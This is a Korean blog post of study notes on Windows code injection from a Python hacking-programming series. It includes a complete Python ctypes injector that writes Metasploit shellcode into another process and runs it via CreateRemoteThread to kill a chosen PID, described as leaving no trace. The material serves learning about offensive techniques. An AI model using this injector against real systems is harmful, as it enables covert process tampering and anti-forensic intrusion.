코드 인젝션은 DLL인젝션에 비해 좀 더 교묘한 기술이다.
코드 인젝션을 이용하면 실행 중인 프로세스에 셸 코드를 삽입해 그것이 메모리상에서 실행되게 만들 수 잇다.
또 공격자가 다른 프로세스로 셸 커넥션을 바꾸는 것이 가능하다.
이 부분에서는 단순히 특정 PID를 가진 프로세스를 종료시키는 기능을 가진 간단한 셸 코드를 이용할 것이라고 한다.
이 셸 코드를 이용하면 셸 코드를 원격 프로세스에 삽입해 그것을 실행시킨 프로세스를 종료시킴으로써 흔적이 남지 않게 할 수 있다.
Metasploit 프로젝트의 홈페이지에서 제공하는 셸 코드 생성기를 이용하면 프로세스를 종료시키는 셸 코드를 얻을 수 있따.
http://metasploit.com/shellcode/ 페이지를 방문해 셸 코드를 구하면 된다.
위 셸 코드는 셸 코드를 생성핼 때 Restricted Characters 텍스트 상자에 0x00을 입력하고
Selected Encoder에서는 Default Encoder를 선택해 생성한다.
셸 코드의 마지막 두 라인에는 \x41값이 여덟 번 반복된다.
왜 A가 8번 반복된 것일까?? :
프로세스를 종료시키기 위해서는 종료시킬 프로세스의 PID 정보가 저장돼야 한다.
A 문자가 차지하는 공간이 바로 종료시킬 프로세스의 PID가 동적으로 써지는 곳이다.
그리고 PID가 써지고 난 나머지 공간은 NULL값으로 채워진다.
셸 코드 생성 시에 인코더를 사용했다면 A 문자는 다른 문자로 인코더됐을 것이다.
그러면 해당 공간을 찾아서 PID로 대체시키는 작업이 좀 더 어려워졌을 것이다.
셸 코드를 마련했으니 이제는 코드 인젝션을 어떻게 수행하는지 알아볼 차례다.
code_injector.py
-----------------------------------------------------------------------
import sys
from ctypes import *
PAGE_EXECUTE_READWRITE = 0x00000040
PROCESS_ALL_ACCESS = (0x000F0000 | 0x00100000 | 0xFFF)
VIRTUAL_MEM = (0x1000 | 0x2000)
kernel32 = windll.kernel32
pid = int(sys.argv[1])
pid_to_kill = sys.argv[2]
if not sys.argv[1] or not sys.argv[2]:
print "code injector : ./code_injector.py<PID to inject> <PID to kill>"
sys.exit(0)
shellcode = \
"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" \
"\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99" \
"\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04" \
"\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" \
"\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30" \
"\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09" \
"\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8" \
"\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\xff" \
"\xe7\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x74\x61\x73\x6b" \
"\x6b\x69\x6c\x6c\x20\x2f\x50\x49\x44\x20\x41\x41\x41\x41\x00"
padding = 4 - (len(pid_to_kill))
replace_value = pid_to_kill + ("\x00" * padding)
replace_string = "\x41" * 4
shellcode = shellcode.replace(replace_string, replace_value)
code_size = len(shellcode)
h_process = kernel32.OpenProcess(PROCESS_ALL_ACCESS, False, int(pid))
if not h_process:
print "[*] Couldn't acquire a handle to PID: %s" % pid
sys.exit(0)
arg_address = kernel32.VirtualAllocEx(h_process, 0, code_size, VIRTUAL_MEM, PAGE_EXECUTE_READWRITE)
written = c_int(0)
kernel32.WriteProcessMemory(h_process, arg_address, shellcode, code_size, byref(written))
thread_id = c_ulong(0)
if not kernel32.CreateRemoteThread(h_process, None, 0, arg_address, None, 0, byref(thread_id)):
print "[*] Failed to inject process-killing shellcode. Exiting."
sys.exit(0)
print "[*] Remote thread created with a thread ID of: 0x%08x" % thread_id.value
print "[*] Process %s should not be running anymore!" % pid_to_kill
-----------------------------------------------------------------------
위 코드에서는 lpStartAddress 파라미터의 값으로 셸 코드의 시작부분을 전달한다.
또한 셸 코드에 파라미터를 전달할 필요가 없기 때문에 lpParameter 파라미터의 값으로 NULL을 전달한다.ㄷㄷ
-----------------------------------------------------------------------
./code_injector.py <인젝션을 수행할 프로세스의 PID> <종료시키고자 하는
프로세스의 PID>
-----------------------------------------------------------------------
'파이썬 스터디 과제 > 파이썬 해킹 프로그래밍' 카테고리의 다른 글
8장-퍼징 (0) | 2015.02.10 |
---|---|
7장-DLL과 코드 인젝션-3 (백도어 제작) (0) | 2015.01.31 |
7장-DLL과 코드 인젝션-2 (DLL 인젝션) (0) | 2015.01.29 |
7장-DLL과 코드 인젝션-1 (원격 스레드 생성) (0) | 2015.01.29 |
7장-DLL과 코드 인젝션 (0) | 2015.01.29 |
댓글